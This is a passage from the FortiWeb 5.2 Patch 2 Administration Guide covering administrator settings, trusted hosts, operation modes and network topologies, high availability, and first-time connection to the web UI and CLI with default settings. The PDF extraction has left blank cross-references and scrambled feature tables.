55 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
•
•
Administrative domains (ADOMs)
•
Trusted hosts
As their name implies, trusted hosts are assumed to be (to a reasonable degree) safe sources of administrative login attempts.
Configuring the trusted hosts of your administrator accounts (
) hardens the security of your FortiWeb appliance by further restricting administrative access. In addition to knowing the password, an administrator must connect only from the computer or subnets you specify. The FortiWeb appliance will not allow logins for that account from any other IP addresses. If all administrator accounts are configured with specific trusted hosts, FortiWeb will ignore login attempts from all other computers. This eliminates the risk that FortiWeb could be compromised by a brute force login attack from an untrusted source.
Trusted host definitions apply both to the web UI and to the CLI when accessed through Telnet,
. Local console access is not affected by trusted hosts, as the
local console is by definition not remote, and does not occur through the network.
Relatedly, you can white-list trusted end-user IP addresses. End users do not log in to the web UI, but their connections to protected web servers are normally subject to protective scans
by FortiWeb unless the clients are trusted. See “Blacklisting & whitelisting clients using a source
IP or source IP range” on page 353 .
See also
•
•
•
Maximum concurrent administrator sessions
If single administrator mode is enabled, you will not be able to log in while any other account is logged in. You must either wait for the other person to log out, or power cycle the appliance.
For details, see “Enable Single Admin User login” on page 59 .
Global web UI & CLI settings
Some settings for connections to the web UI and CLI apply regardless of which administrator account you use to log in.
To configure administrator settings
1. Go to System > Admin > Settings.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the System Configuration category. For details, see
56 FortiWeb 5.2 Patch 2 Administration Guide
2. Configure these settings:
Fortinet
Setting name
Web Administration Ports
Description
HTTP
HTTPS
Type the TCP port number on which the FortiWeb appliance will listen for HTTP administrative access. The default is 80.
This setting has an effect only if
administrative access protocol on at least one network interface. For details, see
“Configuring the network interfaces” on page 121
.
Type the TCP port number on which the FortiWeb appliance will listen for HTTPS administrative access. The default is 443.
This setting has an effect only if
is enabled as an administrative access protocol on at least one network interface. For details, see
“Configuring the network interfaces” on page 121
.
Config-Sync
Type the TCP port number on which the FortiWeb appliance will listen for configuration synchronization requests from the peer/remote FortiWeb appliance. The default is 8333.
For details, see
“Replicating the configuration without
FortiWeb HA (external HA)” on page 115 .
Note:
This is not used by HA. See
“Configuring a high availability (HA) FortiWeb cluster” on page 105
.
Timeout Settings
Idle Timeout
Type the number of minutes that a web UI connection can be idle before the administrator must log in again. The maximum is 480 minutes (8 hours). To maintain security, keep the idle timeout at the default value of 5 minutes.
57 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Language
Web
Administration
Description
Select which language to use when displaying the web UI.
Languages currently supported by the web UI are:
• English
• simplified Chinese
• traditional Chinese
• Japanese
The display’s web pages will use UTF-8 encoding, regardless of which language you choose. UTF-8 supports multiple languages, and allows them to display correctly, even when multiple languages are used on the same web page.
For example, your organization could have web sites in both
English and simplified Chinese. Your FortiWeb administrators prefer to work in the English version of the web UI. They could use the web UI in English while writing rules to match content in both English and simplified Chinese without changing this setting. Both the rules and the web UI will display correctly, as long as all rules were input using UTF-8.
Usually, your text input method or your management computer’s operating system should match the display by also using UTF-8. If they do not, your input and the web UI may not display correctly at the same time.
For example, your web browser’s or operating system’s default encoding for simplified Chinese input may be GB2312.
However, you usually should switch it to be UTF-8 when using the web UI, unless you are writing regular expressions that must match HTTP client’s requests, and those requests use
GB2312 encoding.
Note:
Regular expressions are impacted by language. For
more information, see “Language support” on page 713 .
Note:
This setting does not affect the display of the CLI.
Fortinet 58 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Security Settings
Description
Enable Single
Admin User login
To prevent inadvertent configuration overwrites or conflicts, enable to allow only one session from one administrator account to be logged in at any given time. If a second administrator attempts to log in while another administrator is already logged in (or if the same administrator attempts to start a second concurrent session), the second administrator will receive an error message:
Too many bad login attempts or reached max number of logins. Please try again in a few minutes. Login aborted.
When multiple administrators simultaneously modify the same part of the configuration, they each edit a copy of the current, saved state of the configuration. As each administrator makes changes, FortiWeb does not update the other administrators’ working copies. Each administrator may therefore make conflicting changes without being aware of the other. The
FortiWeb appliance will only use whichever administrator’s configuration is saved last.
If only one administrator can log in, this problem cannot occur.
Disable to allow multiple administrators to be logged in. In this case, administrators should communicate with each other to avoid overwriting each other’s changes.
Enable Strong
Passwords
Enable to enforce strong password rules for administrator accounts. If the password entered is not strong enough when a new administrator account is created, an error message appears and you are prompted to re-enter a stronger password.
Strong passwords have the following characteristics:
• are between 8 and 16 characters in length
• contain at least one upper case and one lower case letter
• contain at least one numeric
• contain at least one non-alphanumeric character
3. Click Apply.
See also
•
Configuring the network interfaces
59 FortiWeb 5.2 Patch 2 Administration Guide
Buttons, menus, & the displays
Figure 8: Web UI parts
Navigation menu
Submenu
Toolbar
Content pane (may contain tabs or sub-panes)
Dashboard widget
Fortinet
A navigation menu is located on the left side of the web UI. To expand a menu item, simply click it. To expand a submenu item click the + button located next to the submenu name, or click the submenu name itself. To view the pages located within a submenu, click the name of the page.
Do not use your browser’s Back button to navigate — pages may not operate correctly. Instead, use the navigation menu, tabs, and buttons within the pages of the web UI.
To expand or collapse an area of the menu, click the name of the area itself. Within each area may be multiple submenus. To expand or collapse a submenu, click the + or - button next to the submenu name, or click the name of the submenu itself.
Within each submenu may be one or more tabs or sub-panes, which are displayed to the right of the navigation menu, in the content pane. At the top of the content pane is a toolbar. The toolbar contains buttons that enable you to perform operations on items displayed in the content pane, such as importing or deleting entries.
60 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Each tab or pane (per
“Permissions” on page 52 ) displays or allows you to modify settings,
using a similar set of buttons.
Table 6: Common buttons and menus
Icon Description
Click to collapse a visible area.
Click to expand a hidden area.
Create New
Click to view the first page’s worth of records within the tab. or pane
If this button is grey, you are already viewing the first page.
Click to view the page’s worth of records that is 10 pages previous to the currently displayed page.
If this button is grey, you are viewing the first page.
Click to view the previous page’s worth of records within the tab or pane.
If this button is grey, you are viewing the first page.
To go to a specific page number, type the page number in the field and press Enter.
The total number of pages depends on the number of records per page.
Click to view the next page’s worth of records within the tab or pane.
If this button is grey, you are viewing the last page.
Click to view the page’s worth of records that is 10 pages after the currently displayed page.
If this button is grey, you are viewing the first page.
Click to view the last page’s worth of records within the tab or pane.
If this button is grey, you are already viewing the last page.
Click to filter out entries in the page based upon match criteria for each column.
If this button is green, the filter is currently enabled.
Click to create a new entry using only typical default values as a starting point.
61 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 6: Common buttons and menus
Icon
Clone
Delete
Description
Click to create a new entry by duplicating an existing entry.
To use this button, you must first mark a check box to select an existing entry upon which the new entry will be based.
Click to remove an existing entry.
To use this button, you must first mark a check box to select which existing entry you want to remove.
To delete multiple entries, either mark the check boxes of each entry that you want to delete, then click Delete.
This button may not always be available. See
.
Common buttons are not described in subsequent sections of this Administration Guide.
Some pages have unique buttons, or special behaviors associated with common buttons.
Those buttons are described in their corresponding section of the Administration Guide.
See also
•
•
Deleting entries
To delete a part of the configuration, you must first remove all references to it.
For example, if you selected a profile named “Profile1” in a policy named “PolicyA”, that policy references “Profile1” and requires it to exist. Therefore the appliance will not allow you to delete
“Profile1” until you have reconfigured “PolicyA” (and any other references) so that “Profile1” is no longer required and may be safely deleted.
Back up the configuration before deleting any part of the configuration. Deleted items cannot be recovered unless you upload a backup copy of the previous configuration. See
and “Restoring a previous configuration” on page 219 .
If you do not know where your configuration refers to the entry that you want to delete, to find the references, you can download a backup of the configuration and use a plain text editor to search for the entry’s name.
Predefined entries included with the firmware cannot be deleted.
62 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Buttons, menus, & the displays
•
Renaming entries
In the web UI, each entry’s name is not editable after you create and save it.
For example, let’s say you create a policy whose Name is “PolicyA”. While configuring the policy, you change your mind about the policy’s name a few times, and ultimately you change the Name to “Blog-Policy”. Finally, you click OK to save the policy. Afterwards, if you edit the policy, most settings can be changed. However, Name is greyed-out, and cannot any longer be changed.
While you cannot edit Name, you can achieve the same effect by other means.
To rename an entry
Alternatively, if you need to rename an item that is only referenced in the core configuration file, you can download a backup copy, use a plain text editor to find and replace the entry’s old name, then restore the modified configuration backup file to the appliance. Where there are many references, this may save time.
1. Clone the entry, supplying the new name.
2. In all areas of the configuration that refer to the old name, replace the old entry name by selecting the new name.
If you do not know where your configuration refers to the entry that you want to delete, to find the references, you can download a backup of the configuration and use a plain text editor to search for the entry’s name.
3. Delete the item with the old name.
See also
•
Buttons, menus, & the displays
•
Shutdown
Always properly shut down the FortiWeb appliance’s operating system before turning off the power switch or unplugging it. This causes it to finish writing any buffered data, and to correctly spin down and park the hard disks.
Do not unplug or switch off the FortiWeb appliance without first halting the operating system.
Failure to do so could cause data loss and hardware damage.
Fortinet 63 FortiWeb 5.2 Patch 2 Administration Guide
To power off the FortiWeb appliance
1. Access the CLI or web UI. For details, see
“Connecting to the web UI or CLI” on page 78
.
2. From the CLI console, enter the following command: execute shutdown
Alternatively, if you are connected to the web UI, go to System > Status > Status, and in the
Operation widget, click Shut Down.
You may be able to hear the appliance become more quiet when the appliance halts its hardware and operating system, indicating that power can be safely disconnected.
3. For hardware appliances, press the power button if there is one. Power supplies and switches vary by hardware model. On some, you will press the power button. On others, you will flip the switch to either the off (O) or on (I) position. When power is connected and the hardware is started, the power indicator LEDs should light. For details, see the LED specifications in the QuickStart Guide for your model.
Figure 9: Turning off the system
For FortiWeb-VM, in the hypervisor or VM manager, power off the virtual machine.
4. Disconnect the power cable from the power supply.
Fortinet 64 FortiWeb 5.2 Patch 2 Administration Guide
How to set up your FortiWeb
These instructions will guide you to the point where you have a simple, verifiably working installation.
From there, you can begin to use optional features and fine-tune your configuration.
If you are deploying gradually, you may want to initially install your FortiWeb in offline protection mode during the transition phase. In this case, you may need to complete
multiple times: once for offline protection mode, then again when you switch to your permanent choice of operation modes. See
“Switching out of offline protection mode” on page 214 .
Time required to deploy varies by:
• Number of your web applications
• Complexity of your web applications
• If you will use auto-learning to assist you in initial configuration, the volume and usage patterns of your web traffic
Appliance vs. VMware
Installation workflow varies depending on whether you are installing FortiWeb as a physical appliance or as a virtual machine.
To install a physical FortiWeb appliance, follow the instructions in
sequentially.
To install a virtual appliance, FortiWeb-VM, first follow the
FortiWeb-VM Install Guide
, then continue with
“How to set up your FortiWeb” .
Registering your FortiWeb
Before you begin, take a moment to register your Fortinet product at the Fortinet Technical
Support web site: https://support.fortinet.com
Many Fortinet customer services such as firmware updates, technical support, and
FortiGuard services require product registration.
For more information, see the Fortinet Knowledge Base article Registration Frequently Asked
Questions .
Fortinet 65 FortiWeb 5.2 Patch 2 Administration Guide
Planning the network topology
To receive traffic intended for web servers that your FortiWeb appliance will protect, you usually must install the FortiWeb appliance between the web servers and all clients that access them.
The network configuration should make sure that all network traffic destined for the web servers must first pass to or through the FortiWeb appliance (depending on your operation mode).
Usually, clients access web servers from the Internet through a firewall such as a FortiGate, so the FortiWeb appliance should be installed between the web servers and the firewall.
Fortinet
Install a general purpose firewall such as FortiGate in addition to the FortiWeb appliance.
Failure to do so could leave your web servers vulnerable to attacks that are not
HTTP/HTTPS-based. FortiWeb appliances are not general-purpose firewalls, and, if you enable
IP-based forwarding, will allow non-HTTP/HTTPS traffic to pass through without inspection.
Ideally, control and protection measures should only allow web traffic to reach FortiWeb and your web servers. FortiWeb and FortiGate complement each other to improve security.
Other topology details and features vary by the mode in which the FortiWeb appliance will operate. For example, FortiWeb appliances operating in offline protection mode or either of the transparent modes cannot do network address translation (NAT) or load-balancing; FortiWeb appliances operating in reverse proxy mode can.
External load balancers: before or after?
Usually you should deploy FortiWeb in front of your load balancer (such as FortiBalancer,
FortiADC, or any other device that applies source NAT), so that FortiWeb is between the load balancer and the clients. This has important effects:
• Simplified configuration
• Unscanned traffic will not reach your load balancer, improving its performance and security
• At the IP layer, from FortiWeb’s perspective, HTTP requests will correctly appear to originate from the real client’s IP address, not (due to SNAT) your load balancer
Otherwise, attackers’ and legitimate clients’ IP addresses may be hidden by the load balancer.
Alternatively, depending on the features that you require, you may be able to use FortiWeb’s built-in load balancing features instead. See
“Load Balancing Algorithm” on page 523
.
66 FortiWeb 5.2 Patch 2 Administration Guide
Figure 10:Example network topology: Load balancer after FortiWeb
Figure 11:Example network topology: Load balancer before FortiWeb, no X-headers
(misconfiguration)
Fortinet
To prevent that, you must configure your devices to compensate for that topology if FortiWeb is behind your load balancer:
• Configure your load balancer so that it does not multiplex HTTP requests from multiple different clients into each TCP connection with FortiWeb.
FortiWeb often applies blocking at the TCP/IP connection level, which could result in blocking innocent HTTP requests if the load balancer is transmitting them within the same
TCP connection as an attack. It could therefore appear to cause intermittent failed requests.
• Configure your load balancer to insert or append to an X-Forwarded-For:, X-Real-IP:, or other HTTP X-header. Also configure FortiWeb to find the original attacker’s or client’s IP
67 FortiWeb 5.2 Patch 2 Administration Guide
address in that HTTP header, not in the IP session (see “Defining your proxies, clients, &
Some features do not support using client IPs found in the X-header. See
“Defining your proxies, clients, & X-headers” on page 281 .
Figure 12:Example network topology: Load balancer before FortiWeb with X-headers
Fortinet
• Do not set any
to Period Block if the load balancer, or any other device in front of
FortiWeb, applies SNAT unless you have configured blocking based upon HTTP X-headers.
Period blocking based upon the source IP address at the IP layer will cause innocent requests forwarded by the SNAT device after an attack to be blocked until the blocking period expires. It could therefore appear to cause intermittent service outages.
How to choose the operation mode
Many things, including:
• supported FortiWeb features
• required network topology
• positive/negative security model
• web server configuration vary by the operation mode. Choose the mode that best matches what you and your
customers need. Considerations are discussed in
“Supported features in each operation mode”
and “Matching topology with operation mode & HA mode” on page 70
.
68 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Because this is such a pivotal factor, consider the implications carefully before you make
your choice. It can be time-consuming to reconfigure your network if you switch modes later.
If you are not sure which operation mode is best for you, you can deploy in offline protection mode temporarily. This will allow you to implement some features and gather auto-learning data while you decide.
Supported features in each operation mode
Many features work regardless of the operation mode that you choose. For some features, support varies by the operation mode and, in some cases, varies by HTTP or HTTPS protocol.
SSL/TLS, for example, inherently requires HTTPS. Similarly, rewriting inherently requires an inline topology and synchronous processing, and therefore is only supported in modes that work that way.
For the broadest feature support, choose reverse proxy mode.
If you require a feature that is not supported in your chosen operation mode, such as DoS protection or SSL/TLS offloading, your web server or another network appliance will need to be configured to provide that feature. The table below lists the features that are not universally supported in all modes/protocols.
Table 7: Feature support that varies by operation mode
Feature
Bridges / V-zones
Caching
No
Yes
Client Certificate Verification Yes
Config. Sync
(Non-HA)
Yes ^
Operation mode
Reverse proxy
True transparent proxy
HTTP
Yes
Yes
Yes
Yes
HTTPS
Yes
Yes
Yes
Yes
Cookie Poisoning Prevention Yes
DoS Protection Yes
Error Page Customization
Fail-to-wire
Yes
No
File Compression
Hidden Input Constraints
HA
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Transparent inspection
Yes
No
No
Yes
No
No
No
Yes
No
No
Yes
‡
Offline protection
No
No
No
No
No ‡
No
No
No
No
No
Yes
69 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 7: Feature support that varies by operation mode
Feature Operation mode
Reverse proxy
True transparent proxy
Yes
HTTP
Yes
HTTPS
Yes Information Disclosure
Prevention
(Anti-Server Fingerprinting)
Page Order Rules
Rewriting / Redirection
Session Management
Site Publishing
SSL/TLS Offloading
SSLv3 Support
SSLv2 Support
Start Page Enforcement
User Authentication
X-Forwarded-For: Support
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
N/A
N/A
N/A
*
Yes
#
Yes Yes
Yes
Yes
Yes *
Yes
Yes
Yes
~
Yes
Yes
Yes
Transparent inspection
Offline protection
Yes
§
No
No
Yes *
No
No
Yes ~¶
No
No
No
No
Yes
No
No
Yes *
No
No
Yes ~¶
No
No
No
No
^ Full configuration sync is not supported in reverse proxy mode.
‡ TCP SYN cookie flood prevention is supported.
§ Only the Alert action is supported.
* Requires that your web application have session IDs. See
~ DSA-encrypted server certificates are not supported.
¶ Diffie-Hellman key exchanges are not supported.
#
PKI authentication requires HTTPS.
Matching topology with operation mode & HA mode
Required physical topology varies by your choice of operation mode. It also varies depending on whether you will operate a high availability (HA) cluster of FortiWeb appliances.
You may need to consider 1 or 2 of the next sections:
•
Topology for reverse proxy mode
•
Topology for either of the transparent modes
•
Topology for offline protection mode
•
Topologies for high availability (HA) clustering
70 FortiWeb 5.2 Patch 2 Administration Guide
Topology for reverse proxy mode
This is the default operation mode, and the most common. Most features are supported (see
“Supported features in each operation mode” on page 69
).
Requests are destined for a virtual server’s network interface and IP address on FortiWeb, not a web server directly. FortiWeb usually applies full NAT.
DNS A/AAAA record changes may be required in reverse proxy mode due to NAT. Also, servers will see the IP of FortiWeb, not the source IP of clients, unless you configure FortiWeb to insert/append to an HTTP X-header such as X-Forwarded-For:. Verify that the server does not apply source IP-based features such as rate limiting or geographical analysis, or, alternatively, that it can be configured to find the original client’s source IP address in an HTTP
X-header.
If you want to deploy without any IP and DNS changes to the existing network, consider either of the transparent modes instead.
Figure 13:Example network topology: reverse proxy mode
Fortinet
FortiWeb applies the first applicable policy, then forwards permitted traffic to a web server.
FortiWeb logs, blocks, or modifies violations according to the matching policy.
shows an example network topology for reverse proxy mode. A client accesses two web servers over the Internet through a FortiWeb appliance. A firewall is installed between
FortiWeb and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator’s computer. Port2 is connected to the firewall. Port3 is connected to a switch, which is connected to the web servers. The FortiWeb appliance provides load-balancing between the two web servers.
71 FortiWeb 5.2 Patch 2 Administration Guide
Alternatively,
shows multiple protocols originating from the client. Only HTTP/HTTPS is routed through FortiWeb for additional scanning and processing before arriving at the servers.
Figure 14:Example network topology: one-arm with reverse proxy mode
Fortinet
Virtual servers can be on the same subnet as physical servers. This is one way to create a one-arm HTTP proxy. For example, the virtual server 192.0.2.1/24 could forward to the physical server 192.0.2.2.
However, this is often not recommended. Unless your network’s routing configuration prevents it, it could allow clients that are aware of the physical server’s IP address to bypass the
FortiWeb appliance by accessing the physical server directly.
By default when in reverse proxy mode, FortiWeb will not forward non-HTTP/HTTPS traffic to from virtual servers to your protected back-end servers. (IP-based forwarding/routing of unscanned protocols is disabled.)
If you must forward FTP, SSH, or other protocols to your back-end servers, Fortinet recommends that you do not deploy FortiWeb inline. Instead, use FortiGate VIP port forwarding to scan then send FTP, SSH, etc. protocols directly to the servers, bypassing FortiWeb. Deploy
FortiWeb in a one-arm topology where FortiWeb receives only HTTP/HTTPS from the FortiGate
VIP/port forwarding, then relays it to your web servers. Carefully test to verify that only firewalled traffic reaches your web servers.
If this is not possible, and you require FortiWeb to route non-HTTP protocols above the TCP layer, you may be able to use the config router setting command. See the
FortiWeb CLI Reference
. For security and performance reasons, this is not recommended.
Topology for either of the transparent modes
No changes to the IP address scheme of the network are required. Requests are destined for a web server, not the FortiWeb appliance. More features are supported than offline protection mode, but fewer than reverse proxy, and may vary if you use HTTPS (see also
“Supported features in each operation mode” on page 69
).
Unlike with reverse proxy mode, with both transparent modes, web servers will see the source
IP address of clients.
72 FortiWeb 5.2 Patch 2 Administration Guide
You can configure VLAN subinterfaces on FortiWeb, or omit IP address configuration entirely and instead assign a network port to be a part of a Layer 2-only bridge.
In both transparent modes, the appliance will forward non-HTTP/HTTPS protocols. (That is, routing /IP-based forwarding for unscanned protocols is supported.) This facilitates pass-through of other protocols such as FTP or SSH that may be necessary for a true drop-in, transparent solution.
Figure 15:Example network topology: transparent modes
Fortinet
shows one example of network topology for either true transparent proxy or transparent inspection mode. A client accesses a web server over the Internet through a
FortiWeb appliance. A firewall is installed between the FortiWeb appliance and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator’s computer. Port3 is connected to the firewall. Port4 is connected to the web servers. Port3 and port4 have no IP address of their own, and act as a V-zone (bridge). Because port3 and port4 have hardware support for fail-to-wire, this topology also gives you the option of configuring fail-open behavior in the event of FortiWeb power loss.
True transparent proxy mode and transparent inspection mode are the same in topology aspect, but due to differences in the mode of interception, they do have a few important behavioral differences:
•
True transparent proxy
— FortiWeb transparently proxies the traffic arriving on a network port that belongs to a Layer 2 bridge, applies the first applicable policy, and lets permitted traffic pass through. FortiWeb logs, blocks, or modifies violations according to the matching policy and its protection profile. This mode supports user authentication via HTTP but not
HTTPS.
•
Transparent inspection
— FortiWeb asynchronously inspects traffic arriving on a network port that belongs to a Layer 2 bridge, applies the first applicable policy, and lets permitted traffic pass through. (Because it is asynchronous, it minimizes latency.) FortiWeb logs or blocks traffic according to the matching policy and its protection profile, but does not
73 FortiWeb 5.2 Patch 2 Administration Guide
otherwise modify it. (It cannot, for example, offload SSL, load-balance connections, or support user authentication.
Unlike in reverse proxy mode or true transparent proxy mode, actions other than Alert cannot be guaranteed to be successful in transparent inspection mode. The FortiWeb appliance will attempt to block traffic that violates the policy. However, due to the nature of asynchronous inspection, the client or server may have already received the traffic that violated the policy.
Topology for offline protection mode
“Out-of-band” is an appropriate descriptor for this mode. Minimal changes are required. It does not introduce any latency. However, many features are not supported (see
“Supported features in each operation mode” on page 69
).
Most organizations do not permanently deploy their FortiWeb in offline protection mode.
Instead, they will use it as a way to learn about their web servers’ vulnerabilities and to configure some of the FortiWeb during a transition period, after which they will switch to an operation mode that places the appliance inline (between clients and web servers).
Switching out of offline protection mode when you are done with transition can prevent bypass problems that can arise as a result of misconfigured routing. It also offers you the ability to offer protection features that cannot be supported in a SPAN port topology.
Requests are destined for a web server, not the FortiWeb appliance. Traffic is duplicated from the flow and sent on an out-of-line link to the FortiWeb through a switched port analyzer (SPAN or mirroring) port. Unless there is a policy violation, there is no reply traffic from FortiWeb.
Depending on whether the upstream firewalls or routers apply source NAT (SNAT), the web servers might be able to see and use the source IP addresses of clients.
Figure 16:Example network topology: offline protection mode
Fortinet
FortiWeb monitors traffic received on the data capture port’s network interface (regardless of the IP address) and applies the first applicable policy. Because it is not inline with the destination, it does not forward permitted traffic. FortiWeb logs or blocks violations according to the matching policy and its protection profile. If FortiWeb detects a malicious request, it sends a TCP RST (reset) packet through the blocking port to the web server and client to
74 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet attempt to terminate the connection. It does not otherwise modify traffic. (It cannot, for example, offload SSL, load-balance connections, or support user authentication.)
Unlike in reverse proxy mode or true transparent proxy mode, actions other than Alert cannot be guaranteed to be successful in offline protection mode. The FortiWeb appliance will attempt to block traffic that violates the policy by mimicking the client or server and requesting to reset the connection. However, the client or server may receive the reset request after it receives the other traffic due to possible differences in routing path metrics and latency.
If you select offline protection mode, you can configure
which TCP RST (reset) commands are sent to block traffic that violates a policy.
shows an example one-arm network topology for offline protection mode. A client accesses two web servers over the Internet through a FortiWeb appliance. A firewall is installed between the FortiWeb appliance and the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator’s computer. Port2 is connected to the firewall, and thereby to a switch, which is connected to the web servers. The FortiWeb appliance provides detection, but does not load-balance, block, or otherwise modify traffic to or from the two web servers.
Alternatively, you could connect a FortiWeb appliance operating in offline protection mode to the SPAN port of a switch.
Topologies for high availability (HA) clustering
Valid HA topologies vary by whether you use either:
• FortiWeb HA
• an external HA/load balancer
Figure 17 shows another network topology for reverse proxy mode, except that the single
FortiWeb appliance has been replaced with two of them operating together as an
active-passive (high availability (HA) pair. If the active appliance fails, the standby appliance assumes the IP addresses and load of the failed appliance.
To carry heartbeat and synchronization traffic between the HA pair, the heartbeat interface on both HA appliances must be connected through crossover cables or through switches.
75 FortiWeb 5.2 Patch 2 Administration Guide
Figure 17:Example network topology: reverse proxy mode with HA
If you use a switch to connect the heartbeat interfaces, they must be reachable by Layer 2 multicast.
If FortiWeb will not be operating in reverse proxy mode (such as for either true transparent proxy mode or transparent inspection mode), typically you would not use FortiWeb HA — this could require changes to your network scheme, which defeats one of the key benefits of the transparent modes: it requires no IP changes. Instead, most customers use an existing
external load balancer/HA solution in conjunction with FortiWeb configuration synchronization
to preserve an existing active-active or active-passive topology, as shown in
Fortinet 76 FortiWeb 5.2 Patch 2 Administration Guide
Figure 18:Example network topology: transparent proxy mode with configuration synchronization and external HA via FortiADC
Fortinet
Unlike with FortiWeb HA, with external HA, that HA device must itself detect when a FortiWeb has failed in order to redirect the traffic stream. (FortiWeb has no way of actively notifying the external HA device.) To monitor the live paths through your FortiWebs, you could configure your
HA device to poll either:
• a back-end web server, or
• an IP on each FortiWeb bridge (V-zone)
If you need to replicate the FortiWeb configuration without HA (i.e. no load balancing and no failover), you can achieve this by using configuration synchronization. This has no special topology requirement, except that synchronized FortiWebs should be placed in identical topologies. For more information, see
“Replicating the configuration without FortiWeb HA
.
See also
•
Fail-to-wire for power loss/reboots
•
Topology for reverse proxy mode
•
Topology for either of the transparent modes
•
Configuring a high availability (HA) FortiWeb cluster
•
HA heartbeat & synchronization
•
Replicating the configuration without FortiWeb HA (external HA)
77 FortiWeb 5.2 Patch 2 Administration Guide
Connecting to the web UI or CLI
To configure, maintain, and administer the FortiWeb appliance, you need to connect to it. There are two methods:
• Web UI — A graphical user interface (GUI), from within a web browser. It can display reports
• Command line interface (CLI) — A text interface similar to DOS or UNIX commands, from a
Secure Shell (SSH) or Telnet terminal, or from the JavaScript CLI Console widget in the web UI (System > Status > Status). It provides access to many advanced diagnostic commands as well as configuration, but lacks reports and logs. For usage, see the
FortiWeb
CLI Reference
.
Fortinet 78 FortiWeb 5.2 Patch 2 Administration Guide
Access to the CLI and/or web UI through your network is not yet configured if:
• you are connecting for the first time
• you have just reset the configuration to its default state
• you have just restored the firmware
In these cases, you must initially connect your computer directly to FortiWeb, using the default settings.
If you are installing a FortiWeb-VM virtual appliance, you should have already connected if you followed the instructions in the
FortiWeb-VM Install Guide
. If so, you can skip this chapter and continue with
“Changing the “admin” account password” on page 98
.
Via the direct connection, you can use the web UI or CLI to configure FortiWeb’s basic network settings. Once this is done, you will be able to place FortiWeb on your network, and use
FortiWeb through your network.
Until the FortiWeb appliance is configured with an IP address and connected to your network, you may prefer to connect the FortiWeb appliance directly to your management computer, or through a switch, in a peer network that is isolated from your overall network. This will improve security during setup. However, isolation is not required.
Fortinet 79 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Connecting to the web UI
You can connect to the web UI using its default settings.
Table 8: Default settings for connecting to the web UI
Network Interface
URL
Administrator
Account
Password
port1 https://192.168.1.99/ admin
For FortiWeb-VM on Amazon Web Services (AWS), the URL is the public DNS address and the default password for the admin administrator is the AWS instance ID. For more information, see the
FortiWeb-VM Installation Guide
.
Requirements
• a computer with an RJ-45 Ethernet network port
• a web browser such as Microsoft Internet Explorer version 6.0 or greater, or Mozilla Firefox
3.5 or greater
• a crossover Ethernet cable
To connect to the web UI
1. On your management computer, configure the Ethernet port with the static IP address
192.168.1.2 with a netmask of 255.255.255.0.
2. Using the Ethernet cable, connect your computer’s Ethernet port to the FortiWeb appliance’s port1.
3. Start your browser and enter the URL: https://192.168.1.99/
(Remember to include the “s” in https://.)
Your browser connects the appliance.
If you do not see the login page due to an SSL cipher error during the connection, and you are connecting to the trial license of FortiWeb-VM or a LENC version of FortiWeb, then your browser must be configured to accept encryption of 64-bit strength or less during the handshake. (RC2, RC4, and DES with less than 64-bit strength is supported. AES and 3DES is not supported in these versions.)
For example, in Mozilla Firefox, if you receive this error message: ssl_error_no_cypher_overlap you may need to enter about:config in the URL bar, then set security.ssl3.rsa.rc4_40_md5 to true.
To support HTTPS authentication, the FortiWeb appliance ships with a self-signed security certificate, which it presents to clients whenever they initiate an HTTPS connection to the
FortiWeb appliance. When you connect, depending on your web browser and prior access
80 FortiWeb 5.2 Patch 2 Administration Guide
of the FortiWeb appliance, your browser might display two security warnings related to this certificate:
• The certificate is not automatically trusted because it is self-signed, rather than being signed by a valid certificate authority (CA). Self-signed certificates cannot be verified with a proper CA, and therefore might be fraudulent. You must manually indicate whether or not to trust the certificate.
• The certificate might belong to another web site. The common name (CN) field in the certificate, which usually contains the host name of the web site, does not exactly match the URL you requested. This could indicate server identity theft, but could also simply indicate that the certificate contains a domain name while you have entered an IP address. You must manually indicate whether this mismatch is normal or not.
Both warnings are normal for the default certificate. SSL v3 and TLS v1.0 are supported.
4. Verify and accept the certificate, either permanently (the web browser will not display the self-signing warning again) or temporarily. You cannot log in until you accept the certificate.
For details on accepting the certificate, see the documentation for your web browser.
5. In the Name field, type admin, then click Login. (In its default state, there is no password for this account.)
Login credentials entered are encrypted before they are sent to the FortiWeb appliance. If your login is successful, the web UI appears. To continue by updating the firmware, see
“Updating the firmware” on page 85 . Otherwise, to continue by setting an administrative
password, see
“Changing the “admin” account password” on page 98 .
If 3 incorrect login or password attempts occur in a row, your IP address will be temporarily blacklisted from the GUI and CLI (network, not console). This is to protect the appliance from brute force login attacks. Wait 1 minute, then attempt the login again.
Connecting to the CLI
Using its default settings, you can access the CLI from your management computer in two ways:
• a local console connection
• an SSH connection, either local or through the network
Fortinet 81 FortiWeb 5.2 Patch 2 Administration Guide
Secure Shell (SSH) provides both secure authentication and secure communications to the CLI.
Supported SSH protocol versions, ciphers, and bit strengths include SSH version 2 with
AES-128, 3DES, Blowfish, and SHA-1.
Table 9: Default settings for connecting to the CLI by SSH
Network Interface
IP Address
SSH Port Number
Administrator
Account
Password
port1
192.168.1.99
22 admin
For FortiWeb-VM on Amazon Web Services (AWS), the URL is the public DNS address and the default password for the admin administrator is the AWS instance ID. For more information, see the
FortiWeb-VM Installation Guide
.
If you are not connecting for the first time, nor have you just reset the configuration to its default state or restored the firmware, administrative access settings may have already been configured. In this case, access the CLI using the IP address, administrative access protocol, administrator account and password already configured, instead of the default settings.
Requirements
• a computer with an available serial communications (COM) port
• the RJ-45-to-DB-9 or null modem cable included in your FortiWeb package
• terminal emulation software such as PuTTY
The following procedures describe connection using PuTTY software; steps may vary with other terminal emulators.
Fortinet
